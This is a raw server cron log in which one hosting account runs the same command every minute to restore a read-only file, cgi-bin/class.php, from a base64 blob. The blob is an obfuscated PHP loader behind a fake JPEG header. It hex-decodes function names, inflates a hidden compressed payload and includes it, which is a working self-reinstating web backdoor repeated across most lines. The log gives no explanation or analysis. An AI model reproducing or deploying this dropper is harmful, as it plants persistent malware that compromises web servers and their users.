Nov 11 21:47:01 server CROND[15591]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 21:48:01 server CROND[16347]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 21:49:02 server CROND[17194]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 21:50:01 server CROND[18046]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 11 21:50:01 server CROND[18049]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 21:50:01 server CROND[18047]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 11 21:50:01 server CROND[18048]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 11 21:50:01 server CROND[18050]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 11 21:51:01 server CROND[18927]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 21:52:01 server CROND[19611]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 21:53:01 server CROND[20498]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 21:54:01 server CROND[21326]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 21:55:01 server CROND[22190]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 11 21:55:01 server CROND[22192]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 11 21:55:01 server CROND[22191]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 21:56:01 server CROND[23049]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 21:57:01 server CROND[23864]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 11 21:57:01 server CROND[23865]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 21:58:01 server CROND[24692]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 21:59:01 server CROND[25604]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 22:00:01 server CROND[26365]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2&gt;&amp;1)
Nov 11 22:00:01 server CROND[26367]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 11 22:00:01 server CROND[26368]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 11 22:00:01 server CROND[26369]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
